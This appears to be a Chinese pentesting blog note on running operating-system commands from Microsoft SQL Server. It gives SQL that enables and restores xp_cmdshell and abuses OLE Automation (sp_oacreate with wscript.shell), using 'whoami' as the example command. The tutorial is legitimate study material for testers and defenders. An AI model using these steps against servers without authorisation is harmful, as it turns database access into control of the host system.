MSSQL 命令执行

MSSQL 命令执行

0x00 前言

在渗透测试或红队行动中,一旦获取到 Microsoft SQL Server(MSSQL)的数据库访问权限,若权限足够高,攻击者可利用其内置功能实现操作系统命令执行。

0x01 前置条件

MSSQL 默认不启用命令执行功能,需满足以下条件之一:

  • 当前数据库用户具有 sysadmin (sa) 服务器角色;
  • 启用了 xp_cmdshell 扩展存储过程;
  • 具备 CONTROL SERVER 权限(SQL Server 2005+);

0x02 常见命令执行方式

xp_cmdshell(最经典)

xp_cmdshell 是 MSSQL 提供的用于执行操作系统命令的扩展存储过程。

1、启用 xp_cmdshell(需高权限)

 
 
 
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;
图片[1] - 【笔记】MSSQL 命令执行 - 极核GetShell

2、命令执行

 
 
 
EXEC xp_cmdshell ‘whoami’;
OR
exec master..xp_cmdshell ‘whoami’;
图片[2] - 【笔记】MSSQL 命令执行 - 极核GetShell

⚠️ 若xp_cmdshell被删除可以使用以下命令恢复

 
 
 
exec master.sys.sp_addextendedproc ‘xp_cmdshell’, ‘C:\Program Files\Microsoft SQLServer\MSSQL\Binn\xplog70.dll’

sp_oacreate

在执行命令或写入文件时都需要用到 sp_oacreate,这主要是用来创建OLE对象,所以需要先执行以下SQL语句来启用 “OLE Automation Procedures” 组件。

如果 xp_cmdshell 组件被删除,也可以利用OLE对象的run方法执行系统命令:主要是用来调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令

 
 
 
exec master.dbo.sp_configure ‘show advanced options’, 1
RECONFIGURE exec
master.dbo.sp_configure ‘Ole Automation Procedures’, 1 //1为开,0为关
RECONFIGURE
图片[3] - 【笔记】MSSQL 命令执行 - 极核GetShell

⚠️注意:此命令执行方法无回显,可以将回显内容写入TXT文件后再查看

 
 
 
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,‘run’,null,‘whoami >C:\Users\Public\Documents\1.txt’;
图片[4] - 【笔记】MSSQL 命令执行 - 极核GetShell

引用

© 版权声明
THE END
喜欢就支持一下吧~
点赞7 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容